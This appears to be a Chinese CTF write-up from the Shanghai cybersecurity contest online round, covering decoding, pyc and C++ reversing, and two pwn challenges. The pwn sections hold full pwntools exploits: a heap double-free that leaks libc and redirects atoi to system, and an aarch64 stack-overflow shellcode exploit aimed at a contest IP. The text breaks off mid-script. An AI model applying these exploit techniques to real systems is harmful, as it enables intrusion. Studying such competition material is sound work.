在本周末的第四届上海市网络安全大赛线上赛上,我们队伍的成员发挥出色,获得了线上赛的第一名(给大佬们递茶)。现在将题目的 writeup 发出来分享给大家。
import base64
print(base64.b32decode('MZWGCZ33GM2TEMRSMQZTALJUGM4WKLJUMFTGELJZGFTDILLBMJSWEYZXGNTGKMBVMN6Q===='))
#flag{35222d30-439e-4afb-91f4-abebc73fe05c}'
拿到一个pyc 分析了一下发现中间被恶意插了一行字节码,把他删掉可以正常disasm。
1 0 JUMP_ABSOLUTE 6 'to 6'
3
6 JUMP_ABSOLUTE 9 'to 9'
9 LOAD_CONST 0 ''
12 LOAD_CONST 1 10
15 LOAD_CONST 2 7
18 LOAD_CONST 3 1
21 LOAD_CONST 4 29
24 LOAD_CONST 5 14
27 LOAD_CONST 2 7
30 LOAD_CONST 6 22
33 LOAD_CONST 6 22
36 LOAD_CONST 7 31
39 LOAD_CONST 8 57
42 LOAD_CONST 9 30
45 LOAD_CONST 10 9
48 LOAD_CONST 11 52
2 51 LOAD_CONST 12 27
54 BUILD_LIST_15 15
57 STORE_NAME 0 'cmp'
3 60 LOAD_NAME 1 'raw_input'
63 CALL_FUNCTION_0 0
4 66 STORE_NAME 2 'flag'
69 LOAD_CONST 0 ''
72 STORE_NAME 3 'm'
75 SETUP_LOOP 91 'to 169'
78 LOAD_NAME 2 'flag'
81 GET_ITER
82 FOR_ITER 83 'to 168'
85 STORE_NAME 4 'i'
88 LOAD_NAME 5 'ord'
91 LOAD_NAME 4 'i'
94 CALL_FUNCTION_1 1
97 UNARY_INVERT
98 LOAD_CONST 13 102
101 BINARY_AND
102 LOAD_NAME 5 'ord'
105 LOAD_NAME 4 'i'
108 CALL_FUNCTION_1 1
111 LOAD_CONST 18 -103
114 BINARY_AND
115 BINARY_OR
116 STORE_NAME 4 'i'
119 LOAD_NAME 4 'i'
122 LOAD_NAME 0 'cmp'
125 LOAD_NAME 3 'm'
128 BINARY_SUBSCR
129 COMPARE_OP 2 '=='
132 POP_JUMP_IF_FALSE 144 'to 144'
135 LOAD_NAME 3 'm'
8 138 UNARY_NEGATIVE
139 LOAD_CONST 14 -1
142 BINARY_ADD
143 UNARY_NEGATIVE
10 144 STORE_NAME 3 'm'
147 JUMP_BACK 73 'to 73'
150 CONTINUE 73 'to 73'
153 LOAD_CONST 15 'wrong'
156 PRINT_ITEM
157 PRINT_NEWLINE_CONT
158 LOAD_NAME 6 'exit'
161 CALL_FUNCTION_0 0
164 POP_TOP
165 JUMP_BACK 73 'to 73'
168 POP_BLOCK
169_0 COME_FROM '75'
169 LOAD_CONST 16 'right'
172 PRINT_ITEM
173 PRINT_NEWLINE_CONT
然后直接写python做逆操作
>>> comp=[0,10,7,1,29,14,7,22,22,31,57,30,9,52,27]
>>> s=""
>>> for i in comp:
... s+=chr((-i-1)^(-103))
...
>>> s
'flag{happy_xoR}'
漏洞在于free时没清空指针,修改count即可double free。提示说无法直接getshell,不知所云。
from pwn import *
import re
import urllib
code = ELF('./pwn', checksec=False)
context.arch = code.arch
context.log_level = 'debug'
def add(memo, count):
r.sendline('POST /add \nConnection: keep-alive\n\nmemo={}&count={}'.format(memo, count))
ret = r.recvuntil('}\n')
def fre():
r.sendline('''POST /count \nConnection: keep-alive\n\n''')
ret = r.recvuntil('}\n')
def show():
r.sendline('''GET /list \nConnection: keep-alive\n\n''')
ret = r.recvuntil('</html>\n')
return ret
def exploit(r):
add('a'*4, 1)
add('b'*4, 1)
add('c'*4, 1)
add('d'*4, 1)
add('a'*48, 1)
add('b'*48, 1)
add('c'*48, 1)
add('d'*48, 1)
add('eee', 123456)
fre()
sleep(3)
tmp = show()
p = re.compile(r'<td>(.+?)</td>')
tmp = re.findall(p, tmp)
heap = u64(tmp[1].ljust(8, '\0')) & ~0xff
assert heap != 0
info('%016x heap', heap)
add(p64(heap+0x60).replace('\x00', ''), 1)
fre()
sleep(3)
add('ffffffff\x21', 1234)
add(flat('A'*16, code.got['atoi']).replace('\x00', ''), 1234)
tmp = show()
p = re.compile(r'<td>(.+?)</td>')
tmp = re.findall(p, tmp)
for i in tmp:
if i[-1] == '\x7f':
libc.address = u64(i+'\0\0') - libc.sym['atoi']
info('%016x libc.address', libc.address)
break
assert libc.address != 0
add(p64(heap+0x180).replace('\x00', ''), 1)
fre()
sleep(3)
#r.sendline('POST /echo \nConnection: keep-alive\n\ncontent=' + 'A'*1200)
add(urllib.quote(flat(0x60308a)).ljust(0x30, 'A'), 12345)
add(urllib.quote(flat(0x60308a)).ljust(0x30, 'A'), 12345)
add(urllib.quote(flat(0x60308a)).ljust(0x30, 'A'), 12345)
r.sendline('POST /add \nConnection: keep-alive\n\nmemo={}&count={}'.format(urllib.quote(flat('A'*6, libc.sym['system'])).ljust(0x30, 'A'), 'sh'))
#flag{f31e33ff-0fcc-49b3-b29c-6e4a4364e2e4}
r.interactive()
栈溢出,打开NX跳shellcode。
from pwn import *
code = ELF('./pwn', checksec=False)
context.arch = code.arch
context.log_level = 'debug'
r = remote('106.75.126.171', 33865)
sc = asm(shellcraft.aarch64.linux.sh(), arch='aarch64').ljust(0x30) + p64(0x400600) + p64(0x411068)
r.sendafter('Name:', sc)
r.send(flat(cyclic(64), 1, 0x4008CC, [0,0x4008AC,0,0,0x411068+0x30,7,0x1000,0x411000]))
#flag{a62ddf9e-d3c4-4021-93ca-6d46361ed6bc}
r.interactive()
题目有两个对输入进行处理并且验证的地方first_handle和second_handle:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char in; // [rsp+0h] [rbp-80h]
char out; // [rsp+20h] [rbp-60h]
char in_; // [rsp+40h] [rbp-40h]
unsigned __int64 v7; // [rsp+68h] [rbp-18h]
v7 = __readfsqword(0x28u);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&in, a2, a3);
std::operator<<<std::char_traits<char>>(&std::cout, "input flag:");
std::operator>><char,std::char_traits<char>,std::allocator<char>>(&std::cin, &in);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&in_, &in);
first_handle((__int64)&out, (__int64)&in_, (__int64)&in_);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&in_);
second_handle((__int64)&out);
sub_40154E((__int64)&out);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&in);
return 0LL;
}
第一处处理:
unsigned __int64 __fastcall sub_40111A(__int64 input)
{
_BYTE *v1; // rbx
int v2; // er12
const char *v3; // rax
int i; // [rsp+1Ch] [rbp-54h]
char s1[43]; // [rsp+20h] [rbp-50h]
unsigned __int64 v7; // [rsp+58h] [rbp-18h]
v7 = __readfsqword(0x28u);
s1[0] = 0x99u;
s1[1] = 0xB0u;
s1[2] = 0x87u;
s1[3] = 0x9Eu;
s1[4] = 0x84u;
s1[5] = 0xA0u;
s1[6] = 0xCBu;
s1[7] = 0xEFu;
s1[8] = 0x88u;
s1[9] = 0x90u;
s1[10] = 0xBBu;
s1[11] = 0x8Eu;
s1[12] = 0x91u;
s1[13] = 0xE0u;
s1[14] = 0xD2u;
s1[15] = 0xAEu;
s1[16] = 0xD4u;
s1[17] = 0xC5u;
s1[18] = 0x6F;
s1[19] = 0xD7u;
s1[20] = 0xC0u;
s1[21] = 0x68;
s1[22] = 0xC6u;
s1[23] = 0x6A;
s1[24] = 0x81u;
s1[25] = 0xC9u;
s1[26] = 0xB7u;
s1[27] = 0xD7u;
s1[28] = 0x61;
s1[29] = 4;
s1[30] = 0xDAu;
s1[31] = 0xCFu;
s1[32] = 0x3D;
s1[33] = 0x5C;
s1[34] = 0xD6u;
s1[35] = 0xEFu;
s1[36] = 0xD0u;
s1[37] = 0x58;
s1[38] = 0xEFu;
s1[39] = 0xF2u;
s1[40] = 0xADu;
s1[41] = 0xADu;
s1[42] = 0xDFu;
for ( i = 0;
i < (unsigned __int64)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::length(input);
++i )
{
v1 = (_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](input, i);
v2 = 4 * *(char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](input, i);
*v1 = ((*(_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](input, i) >> 6) | v2) ^ i;
}
v3 = (const char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(input);
if ( strcmp(s1, v3) == 0 ) // fake
{
sub_4012CE(input); // flag is: flag{7h15_15_4_f4k3_F14G_=3=_rua!}
exit(0);
}
return __readfsqword(0x28u) ^ v7;
}
对输入进行移位异或的操作input[i]=(input[i]>>6)|((input[i]<<2))^i
,之后和固定值比较,相等则输出假的成功信息。
第二处处理:
unsigned __int64 __fastcall second_handle(__int64 input)
{
_BYTE *v1; // r12
int v2; // ebx
char v3; // r13
const char *v4; // rax
signed int i; // [rsp+18h] [rbp-58h]
signed int j; // [rsp+1Ch] [rbp-54h]
char s[32]; // [rsp+20h] [rbp-50h]
char v9; // [rsp+40h] [rbp-30h]
unsigned __int64 v10; // [rsp+48h] [rbp-28h]
v10 = __readfsqword(0x28u);
v9 = 0;
s[0] = 0x99u;
s[1] = -80;
s[2] = -121;
s[3] = -98;
s[4] = 112;
s[5] = -24;
s[6] = 65;
s[7] = 68;
s[8] = 5;
s[9] = 4;
s[10] = -117;
s[11] = -102;
s[12] = 116;
s[13] = -68;
s[14] = 85;
s[15] = 88;
s[16] = -75;
s[17] = 97;
s[18] = -114;
s[19] = 54;
s[20] = -84;
s[21] = 9;
s[22] = 89;
s[23] = -27;
s[24] = 97;
s[25] = -35;
s[26] = 62;
s[27] = 63;
s[28] = -71;
s[29] = 21;
s[30] = -19;
s[31] = -43;
for ( i = 0; i <= 3; ++i )
{
for ( j = 1; j < strlen(s); ++j )
{
v1 = (_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](input, j);
v2 = *(unsigned __int8 *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](
input,
j);
v3 = *(_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](
input,
j - 1) | v2;
LOBYTE(v2) = *(_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](
input,
j);
*v1 = v3 & ~(v2 & *(_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](
input,
j - 1));
}
}
v4 = (const char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(input);
if ( strncmp(v4, s, 32uLL) == 0 ) // real
sub_401522();
return __readfsqword(0x28u) ^ v10;
}
对经过移位异或后的输入进行运算(input[i-1]|input[i])&(~(input[i]&input[i-1]))
,然后和固定值比较,相等则输出真的成功信息。
下面是解密的脚本:
s1 = [153, 176, 135, 158, 132, 160, 203, 239, 136, 144, 187, 142, 145, 224, 210, 174, 212, 197, 111, 215, 192, 104, 198, 106, 129, 201, 183, 215, 97, 4, 218, 207, 61, 92, 214, 239, 208, 88, 239, 242, 173, 173, 223]
flag=""
# (input[i]>>6)|((input[i]<<2))^i
for i in range(len(s1)):
tmp=(s1[i]^i)
c=((tmp<<6)&0xff|(tmp>>2)&0xff)
flag+=chr(c)
print flag
#flag is: flag{7h15_15_4_f4k3_F14G_=3=_rua!}
s=[153, 176, 135, 158, 112, 232, 65, 68, 5, 4, 139, 154, 116, 188, 85, 88, 181, 97, 142, 54, 172, 9, 89, 229, 97, 221, 62, 63, 185, 21, 237, 213]
for i in range(4):
for j in range(len(s)-1,0,-1):
a=s[j-1]|s[j]
s[j]=a&(~(